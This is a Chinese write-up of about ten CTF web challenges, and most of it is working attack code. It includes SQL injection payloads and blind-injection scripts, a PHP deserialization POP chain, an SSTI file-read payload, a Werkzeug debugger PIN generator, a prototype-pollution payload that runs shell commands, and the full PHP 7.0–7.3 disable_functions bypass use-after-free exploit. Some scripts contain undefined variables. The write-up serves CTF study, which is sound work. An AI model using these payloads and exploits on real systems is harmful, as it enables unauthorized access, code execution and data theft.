简单的招聘系统
无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点:
/pages-blank.php?key=1%27+union+select+1%2C(select flaaag from flag)%2C3%2C4%2C5+%23
easysqli_copy
因为用到了PDO+gbk编码,所以应该是预编译+宽字节注入
import requests
import time
data=''
#payload="if(ascii(mid( (select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))!=1,sleep(3),1)"
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
#print(str_to_hex(p.format(1,1)))
for i in range(1,45):
for j in range(28,128):
p = "select (ascii(mid((select fllllll4g from table1),'"+str(i)+"',1))='"+str(j)+"') and sleep(3)"
p=str_to_hex(p)
pay='0x'+p
#print(str(pay))
url="你的url/?id=1%df%27;set%20@xx="+str(pay)+";prepare%20a%20from%20@xx;execute%20a;"
#print(url)
t=time.time()
requests.get(url)
if time.time()-t >3 :
data+=chr(j)
print(data)
ezupload
上传php,/readflag
ezsqli
bool盲注,由于过滤了in,所以information、innodb等库都不能使用,测试了一下^符号可以用,select user()发现是root,所以可以用sys数据库
sys.schema_table_statistics_with_buffer
import requests
import string
import time
f=''
id = "2^(ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database() ),{},1))>{})"
#爆表
url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
for i in range(1,45):
min=28
max=126
while abs(max - min) > 1:
mid = (max + min) / 2
data={'id':id.format(i,mid)}
re=requests.post(url,data=data)
#print(re.text)
if 'QAQ' in re.text:
min=mid
else:
max=mid
t += chr(int(matx))
print(f)
得到表f1ag_1s_h3r3_hhhhh
本来以为要无列名注入,但是union select、join均被过滤,只能找其他方法
首先如果f1ag_1s_h3r3_hhhhh表中只有一列,那么可以直接用
SUBSTR((SELECT * FROM table),1,1)='x'
来盲注
但是如果有两列及以上,那么就需要用相同数量的列进行比较,例如:
先看下面这个表
用相同数量的列去比较,不同的数据返回值不同,或许能用在盲注上
但是仔细看我这里flag列的值为大F开头,但是当输入a返回1,而小写字母的ascii都大于大写字母,原因是mysql默认是不区分大小写的,若想区分大小写可以用BINARY函数
可惜binary由于in被过滤无法使用,而binary的实际作用是:
BINARY 运算符将紧随其后的 string 转换为 二进制字符串。
主要用来强制进行按字节进行比较(byte by byte),字节而不是字符的字符。这使得字符串比>较是区分大小写的
而当一个字符串连接一个二进制的值时,其得到的也将是二进制,而MySQL中的JSON对象是二进制对象,所以可以用
SELECT CONCAT(“a”, CAST(0 AS JSON))
因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx}
exp:
import requests
import string
#print(('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\',''))
s='-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[]^_`{|}~'
flag=''
url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
for i in range(1,45):
for j in s:
j=flag+j
id="2^((select 1,concat('{}~',CAST('0' as json)))>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
#print(id)
data={'id':id.format(j)}
re=requests.post(url,data=data)
#print(re.text)
if "QAQ" in re.text:
flag=j
print(flag)
break
如果是在buu上复现可能有点不一样,由于是marridb,无json类型,所以cast会返回bool(false),但是flag全是小写也不用在意,贴个脚本,用的十六进制处理
import requests
import binascii
result=''
url='http://c58f500a-95fc-478d-8ce4-3b2798fd24b1.node3.buuoj.cn/index.php'
text=''
for i in range(1,43):
low=0
high=126
while low <= high:
mid = (low+high)/2
#print((str(binascii.hexlify(( chr(int(mid))).encode())))[2:-1])
payload='1^((select 1,0x'+ (str(binascii.hexlify((text+chr(int(mid))).encode())))[2:-1]+ ') < (select * from f1ag_1s_h3r3_hhhhh))^1'
#print(payload)
r=requests.post(url,data={'id':payload})
if 'Nu1L' in r.text:
low = mid+1
elif 'Error' in r.text:
high = mid-1
mid_num=int((low+high+1)/2)
text+=chr(mid_num-1)
print(text)
print(result.lower())
盲注
源码
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
过滤了= select < >的盲注
?id=-1 or mid(fl4g,1,1) in ("f") and sleep(3)
会延时三秒,我一直觉得这f14g是个变量
exp:
import requests
import time
flag=''
#脚本写的有点渣跑的比较慢
url='http://ba940addab964d3e87ccc58b5542b0ed06cef7156f8d49ce.changame.ichunqiu.com/?id=-1 or ascii(mid(fl4g,{},1)) in ({}) and sleep(3)'
for i in range(1,45):
for j in range(28,127):
t=time.time()
requests.get(url.format(i,j))
if time.time()-t > 3:
flag+=chr(j)
print(flag)
babyphp
知识点:反序列化逃逸+pop链
www.zip获得源码,类配置在lib.php中,而入口在update.php中
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
入口函数在
UpdateHelper::__destruct
令$this->sql=new User()触发User::tostring
令$this->nickname=new Info()触发Info::__call
令$this->CtrlCase=new dbCtrl()跳到dbCtrl::login
接受一个参数$sql并执行该语句,如果token=admin则返回结果,所以$this->token=admin
参数$sql来自Info::__call的arguement,而Info::__call的参数来自User::tostring的$this->age
所以User::$this->age应=sql语句
pop链如下:
<?php
class user{
public $age;
public $nickname;
public function __construct(){
$this->nickname = new Info();
$this->age='select password,id from user where username="admin"';
}
}
Class UpdateHelper{
public $sql;
public function __construct($newInfo,$sql){
$this->sql=new user();
}
}
class Info{
public $CtrlCase;
public function __construct($age,$nickname){
$this->CtrlCase=new dbCtrl();
}
}
class dbCtrl
{
public $token;
public function __construct()
{
$this->token='admin';
}
}
echo serialize(new UpdateHelper());
得到
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
如果在update.php页面什么都不传参,结果是:
O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";N;}
能够反序列化逃逸的点在User::getNewInfo下
控制nickname为pop链生成的结果,由于默认为3个键值对,为了不出错,需要加上";s:8:"CtrlCase";
也就是:
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
一共221个,再看一下替换函数
44个*=220,在来一个union=1
********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
payload:
/update.php POST
age=&nickname=********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
md5解密一下=yingyingying,登陆一下即可
blacklist
改编自强网杯随便注,加了几个过滤:
但是还有handler可以代替查内容
payload:
?inject=1';handler FlagHere open as a;handler a read first;
Flaskapp
在decode页面随便输入123会进入debug页面,并且需要输入pin码才能获得console权限
获取pin码需要知道:
1.username
2.modename:为flask.app
3.getattr(app, '_name_', getattr(app._class_, '_name_')):为Flask
4.app.py的绝对路径
5.mac地址
6.get_machine_id()
可以用ssti读取文件,
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
base64加密放到decode页面即可读文件
在/etc/passwd下得知username为flaskweb,app.py的绝对路径可以在debug页面直接看到
mac地址在/sys/class/net/eth0/address下得到,需要转换为十进制
十进制
get_machine_id()的话这里有个坑,首先先看/proc/self/cgroup,如果第一行出现/docker/字符那么后面的就是machine_id,如果没有则需要去/etc/machine-id看
第一行有/docker,所以后面一串就是machine_id,而不是在/etc/machine-id!!(坑)
然后套脚本:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377957890',# str(uuid.getnode()), /sys/class/net/ens33/address
'ef59c69d152dc41a33d4e816fd7cd936e2736b989ab6765665c6e2e43c4a918a'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
获得pin码,输入进入console
参考:https://xz.aliyun.com/t/2553#toc-2
ezexpress
知识点:javascript大小写特性绕过+原型链污染
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
由于注册的用户名都会被转换成大写,并且不能有admin,但要upper后要=ADMIN
可以利用这个js特性绕过
"ı".toUpperCase() == 'I'
POST: /login
userid=adm%C4%B1n&pwd=123&action=login&Submit=register
成为ADMIN来到action页面
然后就要用原型链污染了,具体原理还不太懂,下次分析==
payload:
POST /action
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "cat /flag > /app/public/flag"');//"}}
弹窗success后访问info,污染原型链
/flag就被写入了/app/public/flag,也就是web目录/flag,自动下载文件
ezthinking
知识点:thinkphp6.0任意文件操作漏洞
参考文章:https://paper.seebug.org/1114/
在search页面
会把输入的key传入session并保存session文件,而文件名就是sess_ + 当前session的值,并且这里session长度需要为32才能保存文件
所以
看一下根目录有readflag,不过system被禁用了,所以需要连蚁剑上传bypass
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}